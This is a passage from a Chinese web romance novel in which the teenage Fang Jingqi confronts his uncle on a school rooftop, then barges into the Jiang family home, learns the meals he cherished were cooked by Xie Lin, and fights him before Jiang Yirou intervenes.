片刻后,他抬腿跟上了方镜麒的脚步。 叔侄俩一前一后地走着,一路沉默地来到了学校艺术楼的天台。 天台上很空旷,只有呼啸的风声,以及两个各怀心事的人。 到了天台上后,方镜麒脚步不停,一直往楼顶边缘走去。 方隐年看着他的背影,莫名心头一跳,快走几步跟上他,拽住了他的手臂,沉声道:“不要往前了,很危险。” 在方隐年抓住他手臂的一瞬间,一直沉默的方镜麒突然动了。 他一把揪住方隐年的衣领,猛地将他抵在了天台的围栏上。 少年身量很高,身材算不得健硕,但那劲瘦有力的薄肌也十分有劲儿,一下子就制住了毫无防备的方隐年。 方镜麒面如沉水逼近他,眼眸猩红,像一只被激怒的幼狮,正冲着方隐年展露出獠牙。 方隐年猝不及防之下被他一推,后腰直接抵上了护栏,整个上半身都悬空了。 再退一步就会摔下高楼。 失重感袭来,狂风掠过,在他的心里骤然掀起波澜。 方隐年瞳孔骤缩,本能地抬起手,想要抓住些什么。 但是,方隐年很快就意识到,如果他抓住面前的方镜麒,而他又不幸掉下去的话,方镜麒会被他连累得一同带下去。 于是—— 方隐年深吸一口气,缓缓放下了手,就这么垂在身侧。 他静静地看着方镜麒,狭长的凤眸中一片沉静,没有恐惧,没有愤怒,甚至连一句质问或责怪都没有。 全然的平和而包容。 方镜麒揪住他领口的手在止不住地颤抖,眼尾泛着压抑而疯狂的猩红,他脖颈上青筋暴起,脸色近乎狰狞,一字一句哑声问道: “昨晚和你在酒店……的人,是不是姜以柔?” 方隐年定定地看着他,薄唇微启,嗓音低沉道:“不是。” 这句话说完,方镜麒明显松了口气。 他粗喘两声,接着质问道:“那你跟她到底是什么关系?!” 姜渔的家长……呵,意思不就是姜渔的后爸,姜以柔的老公吗?! 方隐年他凭什么?! 方隐年轻轻叹了口气,语气无奈道:“镜麒,你误会了,这次只是她拜托我处理这件事。” “我跟她,什么关系都没有。”方隐年的眼神越过方镜麒,落在不知何处。 语气里带了丝连他自己都未曾发觉的怅然。 方镜麒死死盯着他的脸,不放过一丝一毫的表情。 方隐年坦然地回视他,毫无避讳。 良久,方镜麒扯了扯唇角,冷笑道:“好,我信你。” 方隐年眼神微动,似乎松了口气。他刚要说些什么,可方镜麒接下来的一句话却将他牢牢钉在原地。 方镜麒眸光似冷刃,眨也不眨地逼视着他,一字一句地问道:“既然你说跟她没关系,那我再问你最后一个问题——” “方隐年,你心动了吗?”方镜麒眸光凌厉,沉声逼问道。 方隐年微微一怔,然后沉默了。 良久,天台上静得只有呼啸而过的风声。 他哑口无言。 时间一分一秒的流逝,而方隐年始终无言。 其实,他的沉默就是答案—— 他问心有愧。 无形的压抑在对峙的两人中间蔓延,空气都仿佛凝固了,结了凉透心扉的冰霜。 方镜麒死死盯着方隐年,直到他眼睛酸涩,泛着愤恨的红。 他的呼吸越来越急促,整个人都微微颤抖起来,那双揪住方隐年衣领的手更是不稳。 他像一只被逼到绝境的困兽,几乎要在沉默中爆裂。 方隐年定定地凝视着侄子,这个他唯一的血亲,似乎从这向来高傲的少年眼中捕捉到了一丝委屈的泪意。 方隐年呼吸一滞,愧疚如潮水般席卷,将他包裹得透不过气来。 “镜麒……”方隐年张了张嘴,似乎想说些什么。 最后却还是沉默。 他痛苦地闭了闭眼睛,垂在身侧的双手死死捏紧,掌心的旧伤再次被刺破,他却刻意加重了力道,仿佛要用这痛意来惩罚自己。 他恨自己意志不坚,更恨这阴差阳错。 方镜麒死死盯着他,身体控制不住地微微颤抖,凤眸里拉满了猩红的血丝,几近疯狂。 半晌,方镜麒喉中发出一声愤怒的嘶吼,然后他猛地一推—— 将方隐年推到了侧边更安全的地带。 方隐年踉跄着后退几步,一时间有些怔然。 他抬眸望向方镜麒,眼神里蕴着浓得化不开的悲哀。 方镜麒剧烈地粗喘着,他恨恨地瞪着方隐年,像只龇牙的狼崽子。 他腮侧微鼓,咬着牙一字一句地骂道:“方隐年,从此以后,老子跟你没任何关系!” 方镜麒最后甩了他一个锋锐的冷眼,转头便走。 刚走了几步,他又顿住脚步。 方镜麒稍一侧头,冰冷地睨着方隐年,沉声道:“我们各凭本事。” 方镜麒的骄傲和嚣张是刻进骨子里的,他大可以要求方隐年永远不许接近姜以柔,毕竟方隐年明显对他有愧。 但他不屑于这么做。 他要堂堂正正地方隐年竞争。 跟其他任何男人争! 方镜麒阴沉着脸大步离开,那气势汹汹的架势简直神挡杀神,佛挡杀佛。 方隐年默默地盯着侄子的背影,明智地没有去阻拦。 这个时候,他去阻拦只会适得其反。让镜麒一个人静一静也好。 方隐年独自站在天台楼顶,久久未动。 过了一会儿,一声细微的叹息随风而散了。 * 方镜麒下了天台后,骑上机车扬长而去,直奔姜以柔的家。 他的右手臂还吊在胸前,这样开机车实在太危险,但他却不管不顾。 他的胸腔里翻涌着无尽的怒火,像野兽般叫嚣着要将他吞噬,就这样百般折磨着他的心。 方镜麒不断地加速,猩红的双眸中满是阴鸷的执著。 现在他只有一个念头,那就是去见姜以柔。 他要亲手抓住她,质问她,惩罚她。 他更恨不得一口咬死她! 骑着机车的少年很快就停在了姜以柔家楼下。 他阴沉着脸大步上前,很快就来到了姜家房门前。 “砰砰砰!” 方镜麒心里满是火气,砸门的动作都像□□似的分外粗暴,闹出的动静也有些吓人。 见大门迟迟不开,方镜麒阴着一张俊脸,一直持续不断地敲着,最后几乎要变成砸门了。 终于,房门被颤巍巍地推开了。 方镜麒一把按住门边,猛地将门推得大开。 他喘着粗气,一声质问几乎要脱口而出,下一秒却硬生生卡在了喉咙里。 出现在他面前的,并不是他心心念念的姜以柔,而是一对老人。 这对老人瑟缩地站在门口,一脸警惕与害怕地盯着他。 方镜麒动作太过粗暴,脸色又太过难看,将姜父姜母吓得不轻。 方镜麒怔了片刻,隐约意识到了,这大概是姜以柔的爸爸妈妈。 霎时间,方镜麒鼓胀躁动的心仿佛被戳了个洞,所有怒气都漏了个干净。 ——这对老人看上去风吹就倒,他总不能在他们面前耍威风吧? 方镜麒僵在原地,一时间不知道该如何是好。 姜父迟疑地问道:“你是谁啊?来找谁?” 姜母仔细打量着方镜麒,她天然地对长得好看的小孩有好感,所以慢慢的就不怕他了。 很快,姜母眼尖地发现了方镜麒的衣服上有圣维尔的标志,顿时笑得一脸亲切,“哎呀,你是小渔的同学吧?” 方镜麒神色不定地沉默了许久,才有些憋屈地“嗯”了一声。 他确实是姜渔的同学。 他原本想提姜以柔的名字,但话到嘴边,却悲哀地发现,他们好像什么关系都没有。 他甚至都无法向她的父母介绍自己,只能以姜渔的同学自居。 这个现实让方镜麒不甘地咬了咬牙,凤眸里满是不爽。 “小渔的同学啊,那快进来坐吧,她还没放学呢……” 姜渔从未带同学回家过,这还是姜父姜母第一次见到她的同学,不由得很是激动,不光热情地邀请他进屋,还止不住地偷偷打量他。 哪怕姜父姜母不认得方镜麒从头到脚的这一身奢侈品,也能感觉到他身上那股凌人的贵气。 那是只有富贵人家才养得出来的气质。 看来这小伙子来头不小啊! 姜父姜母不由得更小心了一点。 面对两位老人的盛情邀请,方镜麒沉思片刻,抿着唇进了屋。 方镜麒阴沉着脸,进屋后,他皱着眉头打量着这间屋子,显然对这么寒酸的房子很是看不上眼。 但不得不说,这里收拾得挺温馨,而且处处充满姜以柔的痕迹。 她用过的发箍,她随手放在桌上的化妆品,还有她的衣物…… 方镜麒怔怔地看着属于她的一切痕迹,心脏仿佛被一只大手狠狠攥住,捏了又揉,泛起奇异的酸涩感。 他突然意识到,自己似乎从未走近过姜以柔。 刚才听到她跟方隐年打电话,他们之间的交流竟然那么熟络,一看就是私底下已经很熟悉了。 她会在方隐年面前说笑,甚至撒娇,在他面前却永远端着长辈的架子,如可望而不可即的明月。 一想到此,方镜麒的眼神再次阴郁起来,里面满是不甘。他的手不自觉扣紧,将沙发捏出深深的褶皱。 “小伙子,家里有牛奶还有茶,你想喝点啥?”姜母热情地询问道。 方镜麒胸中正酝酿的情绪再次被打断,他顿了顿,有些不耐烦地皱眉道:“我什么都不喝。” 但凡这两人不是姜以柔的父母,方镜麒早就动手逼问他想知道的一切了。 现在,他勉强压住火气,沉声问道:“姜以柔什么时候回来?” “小渔啊?她晚上才放学回家……”姜母下意识地答道。 但紧跟着,她突然意识到,这个男生问的并不是外孙女,而是她闺女什么时候回。 虽然有些疑惑这男生怎么不问同学,反而问同学她妈,但姜母还是老老实实地答道:“小柔她送人去了,不知道啥时候回。” 方镜麒因为“小柔”这个称呼而微微一怔,他在心里默念了一遍,唇齿间似乎都因为这个亲密的称呼而漫上一股甜意。 当然,他很快又抓到了另一个重点,他皱了皱英挺的眉,问道:“送人?她去送谁了?” “小谢啊。”姜母很自然地答道。 小谢? 方镜麒微微一怔,脑海里瞬间浮现出一个高大男人的身影—— 姜以柔以前的邻居,还曾跟着她一起去医院探望他。 方镜麒凤眸骤沉,翻涌着惊人的戾气,他忍不住猛地站起身来,高声质问道:“她为什么去送他?!” 姜母被他这突如其来的暴怒吓了一跳,倒水的手不由得一抖,水洒了一桌子。 她抬头看向方镜麒,又被他阴云密布的可怕神情惊住了,一时间竟不知道该说些什么。 姜父一直安静地坐在旁边,他虽然没说话,但总偷摸地打量这个一看就很贵气的少年。 此时此刻,他大概是从方镜麒这不同寻常的反应中琢磨出了什么,他一时间脸色有些难看。 看这小子的反应……他该不会是喜欢他闺女吧?! 他、他可是小渔的同学,这可不行!年龄差距这么大,咋个见人啊?! 姜父愁得皱起了一张老脸,想了想,说道:“小谢是我女婿,俩人要结婚了。” 他决定说实话,也好早点让这小子认清现实,别再抱有不切实际的幻想了。 此话一出,空气瞬间安静。 谢凛的拳头捏得咔咔作响,他气得胸膛剧烈起伏着,脸色阴寒得可怕,周围的气温仿佛都冷了几分。 过了几秒,方镜麒竟然没有直接爆发,他深呼吸几次,整个人慢慢平静下来。 然后,他扯了扯唇角,露出一个近乎狰狞的冷笑,从牙缝里挤出几个字。 “不可能。” 只要他还活着,姜以柔这辈子都别想跟除了他之外的男人结婚! 姜母再是迟钝,此时也意识到了什么。 她欲言又止地看着这个少年,最终却只是无奈地叹了口气。 老夫妻俩对视一眼,都从彼此眼中看到了愁绪。 他们两个都不太会说话,也不知道该怎么劝说这个“误入歧途”的少年,同时也是因为方镜麒的气势太凶戾了。 那出自姜以柔之手的短寸更突显了他锋利俊美的五官,配上那双凌厉阴沉的凤眼,极具压迫感。 姜父姜母试图跟他搭几句话,他却压根不理人。 最后,两位老人不得已,只能不尴不尬地保持沉默。 方镜麒沉着脸坐在姜家的沙发上,一言不发,却也丝毫没有要离开的意思。他执拗地等着姜以柔回来,却迟迟没能等到她的身影。 期间,方镜麒给姜以柔打过好几个电话,连姜父姜母也打了电话,但统统都没有接通。 方镜麒只能耐着性子继续等待。 他完全不知道,其实姜以柔近在咫尺,就在他楼下的房间里。 只是此时此刻,她正躺在谢凛的怀中。 方大少爷在姜家硬生生呆到天黑,却始终没能等来姜以柔。 姜父姜母准备了点简单的晚饭,迟疑片刻后,还是主动邀请道:“小伙子,要不要一起吃点。” 方镜麒面无表情地拒绝道:“不吃。” 但他话音刚落,他的肚子就饿得叫了起来。 方镜麒身体一僵,又气又恼,暗恨自己丢了脸。他想要干脆转身离开,却又不想就这么放弃等待。 姜父姜母看着他,不由得笑了笑,这时候才有种他还是个孩子的感觉。 “来吃点饭吧,别客气,不吃饭咋行呢……”姜母坚持不懈地邀请道。 最终,方镜麒绷着脸坐在了餐桌旁。 姜父姜母特意把晚上刚做的新菜放到他面前,把中午吃剩的一些菜放到自己那边。 谁知道,方镜麒却根本不看自己面前的菜,只直勾勾盯着那几道剩菜。 蒜香排骨、香辣鸡丁、红烧茄子…… 很常见的家常菜,每一道他都很熟悉。 都是当初姜以柔给他送饭时,经常会做的饭菜,从色泽到那隐隐约约熟悉的香味,一看就是出自她之手。 想到那些甜蜜的过往,方镜麒阴郁的神情缓和了稍许。 他抬手指了指姜父姜母面前的剩菜剩饭,直白地说道:“我要吃那个。” 姜母笑得有些不好意思,为难地说道:“这些都是中午剩下的,你吃我刚做的吧……” 方镜麒蹙了蹙眉头,很不耐烦跟人啰嗦,他“啧”了一声,又重复了一遍,“我就吃那个。” 他言行间带着颐指气使的暴躁,但姜父姜母只拿他当任性的小孩,倒是不觉得生气。 姜母起身将那几盘菜挪到方镜麒面前,宠溺地笑着说道:“那你吃吧。” 方镜麒不太习惯用左手,夹菜的动作有些别扭,吃饭的时候显得有些费劲。 方镜麒垂眸定定地看着这些熟悉的菜,突然说道:“这些都是她做的吧?” 姜母下意识地反问道:“你以前吃过?” 方镜麒夹了一筷子菜放进嘴里,闷闷地“嗯”了一声。 姜母立刻笑了,随口说道:“哎呀,没想到你还认识小谢啊!小谢这做饭手艺确实不错哈……” 她话音未落,方镜麒夹菜的手突然顿住。 他表情怔然,半晌,嗓音略显艰涩地问道:“你说什么?” “这菜……是谁做的?”《 》 70-80 第71章 当方镜麒嗓音微颤地询问, 这些饭菜出自谁之手时,姜母完全没有注意到方镜麒几乎处于失控边缘,如实地回答道:“都是小谢做的。” 姜父甚至还在旁边补充了一句:“也就是我女婿。” 老夫妻俩一唱一和, 回答了方镜麒的问题。 可这真相却直接将方镜麒打入了冰窟,让他从头冷到脚,一时间浑身僵直, 从心底泛着寒意。 方镜麒怔怔地坐在餐桌前, 手里的筷子还夹着菜,面上是一片茫然的空白。 他刚才尝过了这些菜, 都是熟悉的味道。 姜以柔之前每天给他送的饭,就是这个味道,几乎算是他刻入骨髓的回忆。 他一直以为, 那些饭菜都是姜以柔亲手做的, 里面盛满了她的温柔与关心。 他甚至为只有自己吃过姜以柔亲手做的饭菜,而一度洋洋自得。 结果现在告诉他,他视如珍宝、每次都吃得一滴不剩的饭菜…… 都是那个叫谢凛的家伙做的?!!! 方镜麒左手一抖,筷子上的菜瞬间落到了桌面上。 他浑身不受控制地颤抖起来, 他目眦欲裂地瞪着面前的饭菜, 狭长的凤眸漫上疯狂的猩红,犹如被激怒的野兽,浑身逸散着骇人的戾气。 下一秒, 方镜麒猛地起身,他剧烈的动作一下带翻了椅子, 木椅砸地发出巨大的沉重闷响。 方镜麒眼前一阵阵发黑, 甚至身形都有些不稳,两手按在木桌上,手背暴起隐忍的青筋。 他浑身紧绷得像一张拉满的弓弦, 仿佛随时会彻底崩溃。他垂头站着,胸膛剧烈地起伏,粗重的喘息声清晰地在房间里回荡。 犹如一只被逼到绝境的发狂困兽。 方镜麒本来脾气就火爆,此时得知自己被耍的真相,更是犹如火山爆发,脸色极其骇人。 老两口被他骇人的状态吓了一跳。姜父颤巍巍地搂住姜母,硬着头皮护在老妻身前,满脸惊恐地看着这个浑身煞气的少年。 明明是个跟他们外孙女一样大的孩子,可这小伙子也……太可怕了! 关键是,他们完全不知道哪里惹到了这小煞星。 方镜麒缓缓抬眸,死死盯住两个老人,狭长的凤眸中拉满了血丝,狰狞而疯狂。 老两口紧张地咽了咽口水,无措地低下头,完全不敢跟他对视,只能瑟瑟发抖地报团取暖。 方镜麒扯了扯唇角,那笑容却带着股令人胆寒的煞意。他薄唇微启,干涩的喉咙中挤出几个字,宛若魔鬼的低语,充满威胁意味: “叫姜以柔回来。” “我要见她。” 姜父紧张地咽了咽口水,无措地磕绊道:“这……我们也联系不上小柔啊!” 姜父嘴上说得很无奈,实则心里打定了主意—— 哪怕能联系上闺女,他也只会严厉提醒她,千万别回来! 这小伙子太吓人了,一看就情绪不稳定,闺女要是真的见了他,万一被他发疯伤到了怎么办? 方镜麒额角青筋直跳,怒声吼道:“别他妈糊弄我!告诉我她到底在哪儿……” 他话音未落,门口处突然传来开锁的声音。 屋内的三个人精神一震,纷纷朝门口处望去。 姜父姜母一脸焦急与担忧,担心女儿会受到伤害。 方镜麒则目光幽幽地死死盯着门口,像一只盯住猎物的狼崽儿,狭长的凤眸中燃着灼灼烈火。 方镜麒长腿一迈,气势汹汹地往门口走去。 他眼神死死盯着大门,脑海中只有一个念头: 他一定要抓住姜以柔,然后问个清楚明白—— 这么长时间以来,是不是都在拿他当狗耍! 很快,大门开启,然而出现门口的人并不是姜以柔,而是一道修长健壮的身影。 谢凛熟练地开门,一步踏进屋内,他剑眉紧蹙,面上难得带着几分担忧。 刚才方镜麒撞翻椅子的时候,那一系列巨大的动静自然惊扰了楼下的他和姜以柔。 当时两人正在缠绵,听到动静后立刻就没心情继续了,都担心是楼上的姜父姜母出了什么意外。 姜以柔挣扎着想起床,最后却又无力倒了回去。 她不由得轻咬着红唇,含嗔带怨地瞪着谢凛。她眼眶红肿,趴伏在床上的模样简直是勾人心魄的妖精,让人恨不得死在她手里也甘愿。 谢凛幽沉的眸子盯着她,喉结微滚,很轻易地被她一个眼神撩动了□□。 最终他还是强忍住了,快速起床穿上了衣物。 他俯身按住姜以柔的后脑,安抚般在她唇上亲了一口,低声道:“别担心,我上去看看。” 姜以柔抬腿踹了他一脚,没好气地说道:“快滚!” 她嗓音沙哑,虽不如平日清脆婉转,却别有一番诱人的风情。 谢凛顺势抓住她的脚,不顾姜以柔的挣扎,下意识地揉捏了几下。那柔腻细滑的触感让他心中一荡。 他俯身又在她额间落下一个吻,低声嘱咐道:“等我回来。” 姜以柔有点受不了他那有皮肤饥渴症般的黏糊,不耐烦地往被子里缩了缩。 有时候她觉得,自己对谢凛来说就像一道可口的食物,哪里都能舔咬一番。 他简直就像条占有欲十足的狗,每次都弄得她浑身都是他的口水,像是在标记自己的所有物。 姜以柔实在怕了他那股疯劲儿,整个人埋进被子里,只留给他一个后脑勺。 谢凛静静地看着她,唇边勾起一个极淡的笑意。 在经过一通“宣泄”后,谢凛刚才被挑起的怒气显然消散了不少。 他起身离开,轻轻地关上了房门,直奔楼上姜家而去。 于是就有了此刻的场景。 谢凛和方镜麒在姜家玄关处面对面站着,彼此都有一瞬间的惊讶,似乎没想到会在这里见到对方。 方镜麒最先反应过来。 他死死盯着谢凛那张可恶的脸,垂在身侧的左手捏得咔咔作响,脖颈处都暴起了青筋。 这一瞬间,新仇旧恨涌上心头,方镜麒没有丝毫犹豫,挥着拳头便冲了上去。那眼眸猩红的模样像只被激怒的野兽,露出狰狞的獠牙。 而谢凛一看到这位大少爷,同样厌恶地皱起眉头。当他的视线越过方镜麒,看到客厅里的一片狼藉时,更是面色骤冷。 他冷哼一声,抬臂挡住方镜麒挥过来的拳头,然后一拳回敬了过去。 方镜麒毕竟年少,还断了一只手臂,几乎是瞬间就落了下风。 当然,哪怕他没有受伤,恐怕也敌不过专业拳手出身的谢凛。 谢凛面无表情,一身煞气,狠狠一拳挥出。 拳头落在方镜麒的脸上,发出一声沉重的闷响,听着就让人心惊胆战。 方镜麒踉跄着后退了好几步,脸颊立刻就肿了起来。 他缓缓抬起头,阴鸷的眸光死死钉住谢凛,不见半分惧意,像只伺机而动的狼崽子,有种随时会扑上去咬断喉咙的狠劲儿。 谢凛漫不经心地活动了下手腕,冷冷地睨着这个讨人厌的小子。 他早就想揍他了,只是之前碍于姜以柔,没有机会动手而已。 谢凛挑了挑眉梢,淡淡地扔下一句,“废物。” 这充满蔑视意味的话瞬间激得方镜麒胸膛起伏。他随手抹去嘴角的鲜血,再次冲了过去。 方镜麒眸光赤红,但手上的动作却很有章法。 谢凛跟他对了几招,眼里闪过些许意外。 方镜麒大概是经过系统性训练的,身手竟然还不错,只可惜对于谢凛来说,不太够看。 很快,谢凛便将方镜麒死死按在了地上。 谢凛的膝盖顶着方镜麒的脊背,又按住了他唯一完好的左手,将他控制得动弹不得。 方镜麒喘着粗气,红着眼睛在地上挣扎,一副不服输的模样,嘴里还不断咒骂着。 谢凛居高临下地睨着这个不知天高地厚的小子,眸光一寒,抵住他脊柱的膝盖缓缓用力—— 再进几寸,他能直接将人废掉。 方镜麒疼得脸色一白,却依旧死死咬着牙关不肯认输。 那双狭长的凤眸始终愤怒地燃烧着,瞪向谢凛时蕴着倔强又执拗的冷意。 这股子绝不低头的倔劲儿,是方大少没错了。 这时,姜父姜母颤巍巍地上前劝架了,“别打了,别打了……” “小谢,快放开他吧,别给人孩子打坏了……” 姜父姜母是谨小慎微讨生活的小老百姓,平日里最怕惹事,不管遇到什么都想着息事宁人。 这小伙子一看就是富贵人家出身,万一把人打坏了,那肯定会惹上麻烦的!老两口心里急的不行。 谢凛的力道没有松开半分,依旧用膝盖死死压制着不断挣扎的方镜麒。 他头也不回地吩咐姜父姜母,道:“叔叔阿姨,你们离远点。” 听到谢凛跟姜父姜母之间的熟稔,方镜麒立刻又想起来,这个男人是他们认定的女婿。 他的妒火瞬间被点燃,方镜麒紧咬牙关,又开始猛地挣动起来,力气大得连谢凛都皱了皱眉。 就在场面越发混乱时,大门再度被打开了—— 这次出现的,正是方镜麒心心念念的姜以柔。 姜以柔呆立在门口,不敢置信地看了眼打得不可开交的两个男人,不由得怒声质问道: “你们在做什么?!” 方镜麒瞬间抬起头,目光灼灼地盯向她。 第72章 门口, 姜以柔俏生生地站着。 姜以柔原本想躺在床上等谢凛回来,结果左等右等都等不到,反而听到楼上一直传来摔摔打打的动静。 所以她最后还是艰难地起了床, 上来看看究竟发生了什么事。 姜以柔穿了一条长裙,外面还穿了件外套,将自己裹得严严实实, 但那头微微散乱的长发还是让她显出几分狼狈。 她就这么安静地站在门口, 却仿佛瞬间夺去了这世间所有的光彩,什么都抵不过那张如梦似幻的容颜。 如同天上高悬的明月, 让人忍不住如飞蛾扑火般追逐,却可望而不可及。 方镜麒仍被牢牢地按在地上,可他哪怕忍着痛, 也要艰难地抬头朝姜以柔看去。 他痴痴地看着姜以柔, 总觉得此时见到她,心跳格外的快。 姜以柔眼尾泛红,本就潋滟的眸子漾着勾人的媚意,花瓣一样的红唇肿得厉害, 那精致的唇珠更像是被蹂躏过, 显得分外可怜。 比起平日里那个温柔矜持的姜以柔,此时的她眼角眉梢都泛着浓浓的春意。这无意识散发的诱人足以让人疯狂。 方镜麒年少不知事,看不出来姜以柔这副状态意味着什么。 他只知道, 在看到姜以柔的那一瞬间,他的心脏就不属于自己了。 方镜麒咬了咬牙, 暗恨自己不争气。 明明刚才还恨不得一口咬死她, 还在心里发誓一定要给这个胆敢耍他的女人一点颜色看看,可现在亲眼见到她了,方镜麒却无力地发现—— 他不再想着质问她、责怪她, 脑海里只充斥着一个念头: 他只想紧紧地抱住她,谁都别想抢走。 方镜麒终于意识到,他根本无法对姜以柔狠下心来。 他算是彻底栽了。 “姜以柔……”方镜麒直勾勾地盯着她,努力地想往她那里挣扎,一双凤眸中燃着惊人的火。 谢凛面无表情地睨着他,看他那副紧盯着姜以柔的模样,有些危险地眯了眯眼睛。 他觉得手有点痒,想把那对招子挖出来。 谢凛眸色一深,手上默默地加重了力气,方镜麒顿时一声闷哼,痛得冷汗直冒。 他终于不再看姜以柔了,转而愤怒地瞪视着谢凛,喝道:“放开我!” 哪怕到了这种地步,方大少也从未想过低头认输。 姜以柔看了眼方镜麒,很快便随意地移开了视线。 她慢慢挪动脚步,尽量让自己的走路姿势显得自然。 在她缓缓走近时,方镜麒难得安静了,紧紧盯着她,然而,姜以柔只是目不斜视地越过了他,径直走向了客厅。 她先冲着姜父姜母关心地问道:“你们没事吧?” 姜父姜母连连摇头,说道:“没事,我们都没事。” 姜母抓住姜以柔的手臂,急声劝道:“小柔,你快让小谢住手吧,那还是个孩子呢,再打要出事了……” 姜以柔笑着安抚他们几句,然后半是哄劝半是强硬地让他们进了卧室,并嘱咐他们别出来掺和这件事。 安顿好两个老人后,姜以柔的目光扫过侧翻在地的木椅,然后才回头望向一身狼狈的方镜麒,纤秀的眉瞬间皱起。 她忍不住瞪了眼方镜麒,不悦地质问道:“你在闹什么?” 姜以柔现在只想好好睡觉,方镜麒却偏偏扰得她不得安生。哪怕这位大少爷是她的重要提款机,姜以柔现在也很难对他有好脸色。 方镜麒清晰地捕捉到了她眼神中的不耐,顿时心中一阵刺痛。 想起这一天里接连受到的冲击,他愤怒得眼睛通红,还有一丝不易察觉的委屈。 他额角青筋直跳,颤声质问道:“姜以柔你实话告诉我,之前你给我送的饭,是不是全都是这个男的做的?” “你敢骗我?!”方镜麒咬牙切齿地低吼道。 姜以柔微微一怔,似乎没想到这件事会被方镜麒发现。 但……发现就发现了呗,他又能如何呢? 姜以柔面色平静,不见丝毫心虚,理直气壮地说道:“反正我看你吃得挺开心的,谁做的饭重要吗?” 方镜麒一愣,等反应过来后,差点被姜以柔的无赖气得吐血。 他忍不住像条鱼似的奋力挣动起来,凤眸赤红,怒吼道:“我以为是你做的,才会全吃干净的!早知道……本少爷才不会吃那么难吃的东西呢!” 谢凛眸光凉淡,轻嗤一声道:“我亲手做的饭,也不想被狗吃了。” 其实这件事,不光方镜麒一肚子火气,谢凛同样很不爽。 当初刚知道他亲手做的饭,全被姜以柔拿去给这小子吃了的时候,他的愤怒和心痛绝不亚于此时的方镜麒。 只能说……风水轮流转。 现在轮到他冷眼旁观这位大少爷的笑话了。 姜以柔垂眸看着方镜麒,少年嘴角带血,一张英俊的脸庞格外狼狈,那双狠狠瞪着她的漂亮凤眸里,有怒火也有委屈。 这个年纪的他介于男人和少年之间,有种飞扬夺目的少年意气。而他本就长得俊美出挑,此时脸上带伤被狠狠压在地上,竟有种令人心痒的战损美。 他那双漂亮的凤眸又格外倔强,仿佛燃着永不熄灭的光,被这样一双好看的眼睛灼灼注视着,很难不动容。 不得不说,方镜麒这个性烈如火的少年,跟隐忍强势的谢凛是完全不同的类型。 姜以柔静静地注视着他,眸光不自觉微微一闪。 她又不由得看向方镜麒打了石膏的右手,这小子当初为了救她女儿,差点连命都丢了。 虽说他脾气很差,但这一腔的赤诚也着实烫人。 看着方镜麒隐忍愤怒的眼神,以及他满身的狼狈,姜以柔终究是心软了。 她轻轻叹了口气,冲谢凛说道:“放开他吧。” 谢凛抿了抿唇,冷着脸没有动作,姜以柔只好拖长了音调,柔软地又喊了他一声,“谢凛!” 这一嗓子百转千回,喊得人心都酥了。 片刻后,谢凛终于松开了对方镜麒的桎梏。 他连看都没看地上的方镜麒一眼,径直走到了姜以柔身侧,像个沉默守护的骑士。 方镜麒粗喘两声,用左手撑着地,缓了好半天,才艰难地站了起来。 方镜麒踉踉跄跄地走到姜以柔面前,伸出左手便想要抓他,却被谢凛一把攥住了手腕。 谢凛眸色阴沉地盯着他,寒声警告道:“再敢往前一步,你这只手也别想要了。” 方镜麒似乎永远不知道“怕”字怎么写,恶狠狠地瞪了谢凛一眼,粗声粗气地吼道:“闭嘴!这是我跟她的事,跟你没关系!” 谢凛眼神一冷,握着他腕子的手缓缓收紧。 姜以柔连忙按住谢凛的手臂,示意他冷静。 好不容易稳住了两个易燃易爆炸的男人,姜以柔转头对方镜麒笑了笑,温声道:“方同学,关于饭菜的事,我确实骗了你,很抱歉。” 方镜麒死死盯着她,嘲讽地勾了勾唇角,“嘴上的道歉不值钱。” 姜以柔可不会惯着他,当即挑了挑眉梢,笑道:“哦,那我就不道歉了。” 不稀罕嘴上的道歉是吧?那连嘴头的道歉也没有了。 姜以柔轻扬下颌,点了点不远处倒地的椅子,随意地笑了笑,“正好你弄坏了我家的椅子,我们算是扯清了。” 方镜麒眼睛一瞪,暴怒道:“屁的扯清了,姜以柔,你欠我的根本还不清!” 骗他,耍他,戏弄他,一想起她将自己玩弄于鼓掌中的那些事,方镜麒简直恨得牙根痒痒。 方镜麒死死盯着她,慢慢的,眼尾处竟然漫上些红意,那双漂亮的凤眸中隐约泛起湿润。 刚才还张牙舞爪的嚣张大少爷,此刻竟显出几分脆弱的委屈。 “姜以柔……你怎么能这么对我?”方镜麒咬着牙关,从牙缝里挤出几个字。 他是真的很难过。 他这段时间被迫呆在医院,每天都很无聊,伤口还会时不时发痛,这么煎熬的日子里,他是想着姜以柔对他的“好”才熬下去的。 至少每次,想到她会亲手为自己做饭,他就不觉得手臂痛了,更不后悔为救她女儿断了只手。 方镜麒呼吸不稳,嗓音中也带着几分沙哑的颤意:“姜以柔,只要是为了你,别说是断条手臂了,哪怕是丢了命,我也心甘情愿!但是你……” “你至于连顿饭都要骗我、敷衍我吗?!”方镜麒说着说着,终于控制不住地大吼出声,语气里甚至带了几分哽咽。 听着方镜麒字字泣血的控诉,姜以柔一时间沉默了。 她默默地盯着少年打了石膏的手臂,不期然想起那天坠马事件后,她去医院看望方镜麒。 当时的方镜麒面色惨白,痛得一头白毛都被冷汗浸透了,那恐怕是这位金尊玉贵的大少爷一生中受的最大的苦楚。 但方镜麒在她面前没有喊过一声痛,仍旧张扬的、傲气的。 他这么倔,这么爱硬撑,反倒让她差点忘了,手臂硬生生折断该有多痛。 他救了她女儿的命,甚至等于间接救了她的命,但他唯一“挟恩图报”的要求,也不过是想吃她亲手做的饭而已。 姜以柔眼神复杂地盯着他,良久,幽幽地叹了口气。 她神情缓和了些许,温声询问道:“那你想要我怎么道歉?” 旁边,谢凛的心骤然沉了下去。 他一直关注着姜以柔的表情,眼睁睁看着她因为那小子几句装可怜的话,而软化了态度。 这可不是一个好兆头。 谢凛垂在身侧的手不由得捏紧,望向方镜麒的眸光中带着幽暗的冷意。 面对姜以柔终于软和下来的态度,方镜麒深呼吸几次,似是在平复心绪。他冷冷地瞥了眼那个叫谢凛的男人,凤眸微沉,面上闪过浓重的不甘。 他几乎想都没想,带着些赌气的意味说道:“你让我亲一下!” 姜以柔:“……” 谢凛面色骤冷,微微眯起眸子睨向这个胆大包天的小子,攥着拳头就要上前。 姜以柔还没来得及阻拦,大门突然再一次被敲响了。 姜以柔刚进门的时候压根没关门,此时便高喊了声“请进”。 有人推门而入。 来人西装革履,身形修长,处处透着股清贵矜持,沉稳内敛如同温玉一般,正是方镜麒的叔叔——方隐年。 姜以柔看着方隐年,不由得松了口气,立刻说道:“你终于来了,赶紧把你侄子领走吧。” 她实在有点搞不定这个混世魔王了。 一开始看到方镜麒的时候,姜以柔就给方隐年发了消息,只是没想到他来得这么快。 